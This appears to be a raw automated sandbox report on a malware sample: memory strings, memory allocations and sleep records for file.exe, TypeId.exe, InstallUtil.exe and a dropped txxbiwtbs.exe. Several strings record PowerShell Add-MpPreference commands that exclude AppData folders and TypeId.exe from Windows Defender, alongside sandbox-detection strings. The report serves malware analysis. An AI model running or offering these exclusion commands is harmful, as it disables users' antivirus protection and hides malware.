Source: TypeId.exe, 00000003.00000002.1838711068.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXEW
Source: TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $FQKC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE.CONFIG
Source: powershell.exe, 00000006.00000002.1908721371.000002111782E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;EFENDER\MSFT_MPPREFERENCE CIM OBJECT. OPERATION FAILED WITH THE FOLLOWING ERROR: 0X%1!X!6BA. OPERATION: MPPREFERENCE. TARGET: CONFIGLISTEXTENSION.
Source: powershell.exe, 00000001.00000002.1923913361.00000182B80BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;EFENDER\MSFT_MPPREFERENCE CIM OBJECT. OPERATION FAILED WITH THE FOLLOWING ERROR: 0X%1!X!
Source: file.exe, 00000000.00000002.1763526633.00000000033C0000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.000000000309D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE
Source: TypeId.exe, 00000003.00000002.1941849554.0000000006880000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE.CONFIG
Source: TypeId.exe, 00000003.00000002.1838711068.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PEID.EXE.CONFIG
Source: powershell.exe, 00000001.00000002.1923913361.00000182B8533000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ES\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEH
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;P^
Source: TypeId.exe, 00000003.00000002.2028789957.0000000008E65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEKB
Source: TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $FQDC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE
Source: powershell.exe, 00000001.00000002.1923913361.00000182B8533000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ... S\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NPROCESS TYPEID.EXE;
Source: file.exe, 00000000.00000002.1763526633.00000000035E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $FQDC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXED
Source: TypeId.exe, 00000003.00000002.1948488274.000000000695E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NNELS\HWRTALNMJ\TYPEID.EXE
Source: TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $FQDC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE@
Source: powershell.exe, 00000006.00000002.2358271034.000002112F437000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXERYOUTPUT DEVICE ERRORPERFORMANCE DEGRADEDPOWER PROBLEMPRESSURE UNACCEPTABLEPROCESSOR PROBLEM (INTERNAL MACHINE ERROR)PUMP FAILUREQUEUE SIZE EXCEEDEDRECEIVE FAILURERECEIVER FAILUREREMOTE NODE TRANSMISSION ERRORRESOURCE AT OR NEARING CAPACITYRESPONSE TIME EXCESSIVERETRANSMISSION RATE EXCESSIVESOFTWARE ERRORSOFTWARE PROGRAM ABNORMALLY TERMINATEDSOFTWARE PROGRAM ERROR (INCORRECT RESULTS)STORAGE CAPACITY PROBLEMTEMPERATURE UNACCEPTABLETHRESHOLD CROSSEDTIMING PROBLEMTOXIC LEAK DETECTEDTRANSMIT FAILURETRANSMITTER FAILUREUNDERLYING RESOURCE UNAVAILABLEVERSION MISMATCHPREVIOUS ALERT CLEAREDLOGIN ATTEMPTS FAILEDSOFTWARE VIRUS DETECTEDHARDWARE SECURITY BREACHEDDENIAL OF SERVICE DETECTEDSECURITY CREDENTIAL MISMATCHUNAUTHORIZED ACCESSALARM RECEIVEDLOSS OF POINTERPAYLOAD MISMATCHTRANSMISSION ERROREXCESSIVE ERROR RATETRACE PROBLEMELEMENT UNAVAILABLEELEMENT MISSINGLOSS OF MULTI FRAMEBROADCAST CHANNEL FAILUREINVALID MESSAGE RECEIVEDROUTING FAILUREBACKPLANE FAILUREIDENTIFIER DU
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\TEMP\ASLLOG_APPHELPDEBUG_TYPEID.EXE_7764.TXT
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXECOMMONPROGRAMFILP
Source: file.exe, 00000000.00000002.1763526633.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B74C1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ADD-MPPREFERENCE -EXCLUSIONPATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001677000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCALC:\USERS\user\APPDATA\LOCAL\MICROSOFT\CLR_V4.0_32\USAGELOGS\TYPEID.EXE.LOG
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1941849554.0000000006899000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\USERS\user\APPDATA\LOCAL\MICROSOFT\CLR_V4.0_32\USAGELOGS\TYPEID.EXE.LOG
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001677000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXEIN<
Source: TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $FQDC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE0
Source: powershell.exe, 00000001.00000002.1923913361.00000182B80BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ADD-MPPREFERENCE -EXCLUSIONPATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B7F13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117685000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B7F13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117685000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.000002111782E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B7F13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117685000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NPATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: file.exe, 00000000.00000002.1789340533.0000000007658000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761959990.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1788582879.000000000726F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1787378066.000000000703C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.00000000035E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <COMMAND>C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE</COMMAND>
Source: file.exe, 00000000.00000002.1783142050.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \S-1-5-21-2246122658-3693405117-2476756634-1002\HWRTALNMJ\TYPEID.EXE
Source: file.exe, 00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B76E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2289203789.00000182C74F1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1941849554.0000000006899000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003689000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1835768754.00000000012F7000.00000004.00000010.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.2030654642.0000000008F7F000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000034A4000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.2022257156.00000000085C0000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXE
Source: TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXE[T
Source: file.exe, 00000000.00000002.1783142050.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X\MICROSOFT\WINDOWS\REGISTEREDCHANNELS\TYPEIDLS\HWRTALNMJ\TYPEID.EXE
Source: powershell.exe, 00000001.00000002.1923913361.00000182B8533000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: K+ ... S\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.2028789957.0000000008E65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEYQ4
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE.CONFIG
Source: powershell.exe, 00000001.00000002.1923913361.00000182B80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.000002111782E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\TEMP\ASLLOG_SHIMENGSTATE_TYPEID.EXE_7764.TXT

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 7B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 7CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 8CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 9EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory allocated: 1620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory allocated: 3120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory allocated: 5120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory allocated: 6D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Memory allocated: 7D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 5050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 6A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 7A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 8B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 9B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Memory allocated: E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Memory allocated: 2850000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Memory allocated: 2790000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Memory allocated: 63C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Memory allocated: 73C0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 3351	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 910	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5856	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3886	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Window / User API: threadDelayed 1719	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Window / User API: threadDelayed 2069	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4960	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4684	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8118
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1388
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Window / User API: threadDelayed 3588
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Window / User API: threadDelayed 601

Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7660	Thread sleep count: 3351 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7660	Thread sleep count: 910 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98877s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98526s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7632	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep count: 5856 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep count: 3886 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7864	Thread sleep count: 1719 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7864	Thread sleep count: 2069 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99434s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99316s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98921s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98804s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98574s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -98249s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -97989s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -97859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7832	Thread sleep time: -97746s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7844	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe TID: 7812	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8080	Thread sleep count: 4960 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8080	Thread sleep count: 4684 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99670s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99122s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -99001s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8060	Thread sleep time: -98766s >= -30000s	Jump to behavior
